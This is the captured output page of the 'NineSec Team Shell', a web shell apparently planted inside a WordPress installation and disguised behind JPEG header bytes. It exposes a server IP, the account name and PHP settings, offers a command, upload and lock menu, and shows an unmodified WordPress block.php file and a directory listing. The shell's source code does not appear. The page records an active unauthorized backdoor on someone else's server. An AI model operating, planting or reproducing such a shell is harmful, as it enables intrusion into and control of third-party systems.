�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /home/readytorun/Maildir/../public_html/wp-includes/blocks/comment-content/../

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/readytorun/Maildir/../public_html/wp-includes/blocks/comment-content/../block.php
<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName // Needed for WP_Block_Cloner helper class.
/**
 * Server-side rendering of the `core/block` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/block` block on server.
 *
 * @since 5.0.0
 *
 * @global WP_Embed $wp_embed
 *
 * @param array $attributes The block attributes.
 *
 * @return string Rendered HTML of the referenced block.
 */
function render_block_core_block( $attributes, $content, $block_instance ) {
	static $seen_refs = array();

	if ( empty( $attributes['ref'] ) ) {
		return '';
	}

	$reusable_block = get_post( $attributes['ref'] );
	if ( ! $reusable_block || 'wp_block' !== $reusable_block->post_type ) {
		return '';
	}

	if ( isset( $seen_refs[ $attributes['ref'] ] ) ) {
		// WP_DEBUG_DISPLAY must only be honored when WP_DEBUG. This precedent
		// is set in `wp_debug_mode()`.
		$is_debug = WP_DEBUG && WP_DEBUG_DISPLAY;

		return $is_debug ?
			// translators: Visible only in the front end, this warning takes the place of a faulty block.
			__( '[block rendering halted]' ) :
			'';
	}

	if ( 'publish' !== $reusable_block->post_status || ! empty( $reusable_block->post_password ) ) {
		return '';
	}

	$seen_refs[ $attributes['ref'] ] = true;

	// Handle embeds for reusable blocks.
	global $wp_embed;
	$content = $wp_embed->run_shortcode( $reusable_block->post_content );
	$content = $wp_embed->autoembed( $content );

	// Back compat.
	// For blocks that have not been migrated in the editor, add some back compat
	// so that front-end rendering continues to work.

	// This matches the `v2` deprecation. Removes the inner `values` property
	// from every item.
	if ( isset( $attributes['content'] ) ) {
		foreach ( $attributes['content'] as &$content_data ) {
			if ( isset( $content_data['values'] ) ) {
				$is_assoc_array = is_array( $content_data['values'] ) && ! wp_is_numeric_array( $content_data['values'] );

				if ( $is_assoc_array ) {
					$content_data = $content_data['values'];
				}
			}
		}
	}

	// This matches the `v1` deprecation. Rename `overrides` to `content`.
	if ( isset( $attributes['overrides'] ) && ! isset( $attributes['content'] ) ) {
		$attributes['content'] = $attributes['overrides'];
	}

	// Apply Block Hooks.
	$content = apply_block_hooks_to_content_from_post_object( $content, $reusable_block );

	/**
	 * We attach the blocks from $content as inner blocks to the Synced Pattern block instance.
	 * This ensures that block context available to the Synced Pattern block instance is provided to
	 * those blocks.
	 */
	$block_instance->parsed_block['innerBlocks']  = parse_blocks( $content );
	$block_instance->parsed_block['innerContent'] = array_fill( 0, count( $block_instance->parsed_block['innerBlocks'] ), null );
	if ( method_exists( $block_instance, 'refresh_context_dependents' ) ) {
		// WP_Block::refresh_context_dependents() was introduced in WordPress 6.8.
		$block_instance->refresh_context_dependents();
	} else {
		// This branch can be removed once Gutenberg requires WordPress 6.8 or later.
		if ( ! class_exists( 'WP_Block_Cloner' ) ) {
			// phpcs:ignore Gutenberg.Commenting.SinceTag.MissingClassSinceTag
			class WP_Block_Cloner extends WP_Block {
				/**
				 * Static methods of subclasses have access to protected properties
				 * of instances of the parent class.
				 * In this case, this gives us access to `available_context` and `registry`.
				 */
				// phpcs:ignore Gutenberg.Commenting.SinceTag.MissingMethodSinceTag
				public static function clone_instance( $instance ) {
					return new WP_Block(
						$instance->parsed_block,
						$instance->available_context,
						$instance->registry
					);
				}
			}
		}
		$block_instance = WP_Block_Cloner::clone_instance( $block_instance );
	}

	$content = $block_instance->render( array( 'dynamic' => false ) );
	unset( $seen_refs[ $attributes['ref'] ] );

	return $content;
}

/**
 * Registers the `core/block` block.
 *
 * @since 5.3.0
 */
function register_block_core_block() {
	register_block_type_from_metadata(
		__DIR__ . '/block',
		array(
			'render_callback' => 'render_block_core_block',
		)
	);
}
add_action( 'init', 'register_block_core_block' );

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
December 03 2025 4:09:51
readytorun
0755
accordion
--
December 03 2025 4:09:51
readytorun
0755
accordion-heading
--
December 03 2025 4:09:51
readytorun
0755
accordion-item
--
December 03 2025 4:09:51
readytorun
0755
accordion-panel
--
December 03 2025 4:09:51
readytorun
0755
archives
--
January 25 2022 11:08:17
readytorun
0755
audio
--
January 25 2022 11:08:17
readytorun
0755
avatar
--
May 25 2022 12:14:08
readytorun
0755
block
--
July 24 2024 12:10:27
readytorun
0755
button
--
November 25 2021 9:10:13
readytorun
0755
buttons
--
November 25 2021 9:10:13
readytorun
0755
calendar
--
November 25 2021 9:10:13
readytorun
0755
categories
--
November 25 2021 9:10:13
readytorun
0755
code
--
November 02 2022 11:10:56
readytorun
0755
column
--
November 25 2021 9:10:13
readytorun
0755
columns
--
November 25 2021 9:10:13
readytorun
0755
comment-author-name
--
November 12 2024 11:09:05
readytorun
0755
comment-content
--
May 25 2022 12:14:08
readytorun
0755
comment-date
--
November 12 2024 11:09:05
readytorun
0755
comment-edit-link
--
November 12 2024 11:09:05
readytorun
0755
comment-reply-link
--
November 12 2024 11:09:05
readytorun
0755
comment-template
--
May 25 2022 12:14:08
readytorun
0755
comments
--
November 02 2022 11:10:56
readytorun
0755
comments-pagination
--
May 25 2022 12:14:08
readytorun
0755
comments-pagination-next
--
May 25 2022 12:14:08
readytorun
0755
comments-pagination-numbers
--
May 25 2022 12:14:08
readytorun
0755
comments-pagination-previous
--
May 25 2022 12:14:08
readytorun
0755
comments-title
--
May 25 2022 12:14:08
readytorun
0755
cover
--
November 25 2021 9:10:13
readytorun
0755
details
--
August 09 2023 12:04:55
readytorun
0755
embed
--
January 25 2022 11:08:17
readytorun
0755
file
--
January 25 2022 11:08:17
readytorun
0755
footnotes
--
August 09 2023 12:04:55
readytorun
0755
freeform
--
November 25 2021 9:10:13
readytorun
0755
gallery
--
January 25 2022 11:08:17
readytorun
0755
group
--
January 25 2022 11:08:17
readytorun
0755
heading
--
January 25 2022 11:08:18
readytorun
0755
home-link
--
May 25 2022 12:14:08
readytorun
0755
html
--
November 25 2021 9:10:13
readytorun
0755
image
--
November 07 2023 11:08:16
readytorun
0755
latest-comments
--
November 25 2021 9:10:13
readytorun
0755
latest-posts
--
November 25 2021 9:10:13
readytorun
0755
legacy-widget
--
November 25 2021 9:10:13
readytorun
0755
list
--
November 25 2021 9:10:13
readytorun
0755
list-item
--
November 02 2022 11:10:56
readytorun
0755
loginout
--
November 12 2024 11:09:05
readytorun
0755
math
--
December 03 2025 4:09:51
readytorun
0755
media-text
--
November 25 2021 9:10:13
readytorun
0755
missing
--
November 25 2021 9:10:13
readytorun
0755
more
--
November 25 2021 9:10:13
readytorun
0755
navigation
--
November 07 2023 11:08:17
readytorun
0755
navigation-link
--
January 25 2022 11:08:17
readytorun
0755
navigation-submenu
--
January 25 2022 11:08:17
readytorun
0755
nextpage
--
November 25 2021 9:10:13
readytorun
0755
page-list
--
November 25 2021 9:10:13
readytorun
0755
page-list-item
--
March 30 2023 12:08:12
readytorun
0755
paragraph
--
November 25 2021 9:10:13
readytorun
0755
pattern
--
January 25 2022 11:08:17
readytorun
0755
post-author
--
December 03 2025 4:09:52
readytorun
0755
post-author-biography
--
November 12 2024 11:09:05
readytorun
0755
post-author-name
--
November 12 2024 11:09:05
readytorun
0755
post-comments-count
--
December 03 2025 4:09:51
readytorun
0755
post-comments-form
--
May 25 2022 12:14:08
readytorun
0755
post-comments-link
--
December 03 2025 4:09:51
readytorun
0755
post-content
--
April 16 2025 1:08:18
readytorun
0755
post-date
--
November 02 2022 11:10:56
readytorun
0755
post-excerpt
--
November 25 2021 9:10:13
readytorun
0755
post-featured-image
--
November 25 2021 9:10:13
readytorun
0755
post-navigation-link
--
March 30 2023 12:08:12
readytorun
0755
post-template
--
April 16 2025 1:08:18
readytorun
0755
post-terms
--
January 25 2022 11:08:17
readytorun
0755
post-time-to-read
--
December 03 2025 4:09:51
readytorun
0755
post-title
--
November 25 2021 9:10:13
readytorun
0755
preformatted
--
November 25 2021 9:10:13
readytorun
0755
pullquote
--
January 25 2022 11:08:17
readytorun
0755
query
--
April 03 2024 12:08:17
readytorun
0755
query-no-results
--
May 25 2022 12:14:08
readytorun
0755
query-pagination
--
November 25 2021 9:10:13
readytorun
0755
query-pagination-next
--
November 25 2021 9:10:13
readytorun
0755
query-pagination-numbers
--
November 25 2021 9:10:13
readytorun
0755
query-pagination-previous
--
November 25 2021 9:10:13
readytorun
0755
query-title
--
November 02 2022 11:10:56
readytorun
0755
query-total
--
April 16 2025 1:08:17
readytorun
0755
quote
--
January 25 2022 11:08:17
readytorun
0755
read-more
--
May 25 2022 12:14:08
readytorun
0755
rss
--
November 25 2021 9:10:13
readytorun
0755
search
--
August 09 2023 12:04:55
readytorun
0755
separator
--
January 25 2022 11:08:17
readytorun
0755
shortcode
--
November 25 2021 9:10:13
readytorun
0755
site-logo
--
November 25 2021 9:10:13
readytorun
0755
site-tagline
--
November 12 2024 11:09:05
readytorun
0755
site-title
--
March 30 2023 12:08:12
readytorun
0755
social-link
--
November 25 2021 9:10:13
readytorun
0755
social-links
--
November 25 2021 9:10:13
readytorun
0755
spacer
--
November 25 2021 9:10:13
readytorun
0755
table
--
January 25 2022 11:08:17
readytorun
0755
tag-cloud
--
November 12 2024 11:09:05
readytorun
0755
template-part
--
January 25 2022 11:08:17
readytorun
0755
term-count
--
December 03 2025 4:09:51
readytorun
0755
term-description
--
August 09 2023 12:04:55
readytorun
0755
term-name
--
December 03 2025 4:09:51
readytorun
0755
term-template
--
December 03 2025 4:09:51
readytorun
0755
terms-query
--
December 03 2025 4:09:51
readytorun
0755
text-columns
--
November 25 2021 9:10:13
readytorun
0755
verse
--
November 25 2021 9:10:13
readytorun
0755
video
--
January 25 2022 11:08:17
readytorun
0755
widget-group
--
January 25 2022 11:08:17
readytorun
0755
accordion-item.php
2.354 KB
December 03 2025 4:09:51
readytorun
0644
accordion.php
1.12 KB
December 03 2025 4:09:51
readytorun
0644
archives.php
4.312 KB
December 03 2025 4:09:51
readytorun
0644
avatar.php
5.61 KB
November 12 2024 11:09:05
readytorun
0644
block.php
4.088 KB
December 03 2025 4:09:51
readytorun
0644
blocks-json.php
213.453 KB
December 03 2025 4:09:51
readytorun
0644
button.php
1.711 KB
December 03 2025 4:09:51
readytorun
0644
calendar.php
5.933 KB
July 17 2024 12:09:28
readytorun
0644
categories.php
4.541 KB
December 03 2025 4:09:51
readytorun
0644
comment-author-name.php
2.083 KB
July 17 2024 12:09:28
readytorun
0644
comment-content.php
2.401 KB
July 17 2024 12:09:28
readytorun
0644
comment-date.php
1.819 KB
November 12 2024 11:09:05
readytorun
0644
comment-edit-link.php
1.673 KB
July 17 2024 12:09:28
readytorun
0644
comment-reply-link.php
2.026 KB
July 17 2024 12:09:28
readytorun
0644
comment-template.php
4.389 KB
July 17 2024 12:09:28
readytorun
0644
comments-pagination-next.php
1.879 KB
November 12 2024 11:09:05
readytorun
0644
comments-pagination-numbers.php
1.594 KB
July 17 2024 12:09:28
readytorun
0644
comments-pagination-previous.php
1.748 KB
November 12 2024 11:09:05
readytorun
0644
comments-pagination.php
1.231 KB
December 03 2025 4:09:51
readytorun
0644
comments-title.php
2.707 KB
July 17 2024 12:09:28
readytorun
0644
comments.php
6.625 KB
December 03 2025 4:09:51
readytorun
0644
cover.php
3.101 KB
April 16 2025 1:08:17
readytorun
0644
file.php
1.835 KB
December 03 2025 4:09:51
readytorun
0644
footnotes.php
3.683 KB
April 03 2024 12:08:17
readytorun
0644
gallery.php
6.288 KB
December 03 2025 4:09:51
readytorun
0644
heading.php
1.271 KB
July 17 2024 12:09:28
readytorun
0644
home-link.php
5.311 KB
April 16 2025 1:08:17
readytorun
0644
image.php
13.5 KB
December 03 2025 4:09:51
readytorun
0644
index.php
4.991 KB
November 12 2024 11:09:05
readytorun
0644
latest-comments.php
4.912 KB
December 03 2025 4:09:51
readytorun
0644
latest-posts.php
8.529 KB
December 03 2025 4:09:51
readytorun
0644
legacy-widget.php
3.917 KB
December 03 2025 4:09:51
readytorun
0644
list.php
1.243 KB
July 17 2024 12:09:28
readytorun
0644
loginout.php
1.625 KB
December 03 2025 4:09:51
readytorun
0644
media-text.php
4.28 KB
November 12 2024 11:09:05
readytorun
0644
navigation-link.php
13.634 KB
December 03 2025 4:09:51
readytorun
0644
navigation-submenu.php
9.742 KB
December 03 2025 4:09:51
readytorun
0644
navigation.php
48.389 KB
December 03 2025 4:09:51
readytorun
0644
page-list-item.php
0.353 KB
July 17 2024 12:09:28
readytorun
0644
page-list.php
13.292 KB
November 12 2024 11:09:05
readytorun
0644
pattern.php
1.746 KB
April 16 2025 1:08:17
readytorun
0644
post-author-biography.php
1.488 KB
July 17 2024 12:09:28
readytorun
0644
post-author-name.php
1.905 KB
May 01 2025 12:08:09
readytorun
0644
post-author.php
2.67 KB
May 01 2025 12:08:09
readytorun
0644
post-comments-count.php
1.245 KB
December 03 2025 4:09:51
readytorun
0644
post-comments-form.php
2.739 KB
July 17 2024 12:09:28
readytorun
0644
post-comments-link.php
2.185 KB
December 03 2025 4:09:51
readytorun
0644
post-content.php
2.292 KB
December 03 2025 4:09:51
readytorun
0644
post-date.php
3.547 KB
December 03 2025 4:09:51
readytorun
0644
post-excerpt.php
3.527 KB
December 03 2025 4:09:51
readytorun
0644
post-featured-image.php
9.144 KB
December 03 2025 4:09:51
readytorun
0644
post-navigation-link.php
4.724 KB
July 17 2024 12:09:28
readytorun
0644
post-template.php
5.614 KB
July 17 2024 12:09:28
readytorun
0644
post-terms.php
3.555 KB
April 16 2025 1:08:17
readytorun
0644
post-time-to-read.php
6.341 KB
December 03 2025 4:09:51
readytorun
0644
post-title.php
2.088 KB
July 17 2024 12:09:28
readytorun
0644
query-no-results.php
1.804 KB
July 17 2024 12:09:28
readytorun
0644
query-pagination-next.php
3.692 KB
December 03 2025 4:09:51
readytorun
0644
query-pagination-numbers.php
4.658 KB
July 17 2024 12:09:28
readytorun
0644
query-pagination-previous.php
3.494 KB
December 03 2025 4:09:51
readytorun
0644
query-pagination.php
1.148 KB
July 17 2024 12:09:28
readytorun
0644
query-title.php
2.874 KB
December 03 2025 4:09:51
readytorun
0644
query-total.php
2.476 KB
April 16 2025 1:08:17
readytorun
0644
query.php
5.557 KB
April 16 2025 1:08:17
readytorun
0644
read-more.php
1.787 KB
July 17 2024 12:09:28
readytorun
0644
require-dynamic-blocks.php
4.59 KB
December 03 2025 4:09:51
readytorun
0644
require-static-blocks.php
0.545 KB
December 03 2025 4:09:51
readytorun
0644
rss.php
4.501 KB
December 03 2025 4:09:51
readytorun
0644
search.php
23.259 KB
December 03 2025 4:09:51
readytorun
0644
shortcode.php
0.718 KB
July 17 2024 12:09:28
readytorun
0644
site-logo.php
6.186 KB
November 12 2024 11:09:05
readytorun
0644
site-tagline.php
1.175 KB
July 17 2024 12:09:28
readytorun
0644
site-title.php
1.82 KB
December 03 2025 4:09:51
readytorun
0644
social-link.php
66.147 KB
December 03 2025 4:09:51
readytorun
0644
tag-cloud.php
1.553 KB
November 12 2024 11:09:05
readytorun
0644
template-part.php
9.916 KB
April 16 2025 1:08:17
readytorun
0644
term-count.php
1.8 KB
December 03 2025 4:09:51
readytorun
0644
term-description.php
1.729 KB
December 03 2025 4:09:51
readytorun
0644
term-name.php
2.021 KB
December 03 2025 4:09:51
readytorun
0644
term-template.php
4.363 KB
December 03 2025 4:09:51
readytorun
0644
video.php
2.669 KB
December 03 2025 4:09:51
readytorun
0644
widget-group.php
2.381 KB
July 17 2024 12:09:28
readytorun
0644

NineSec Team - 2022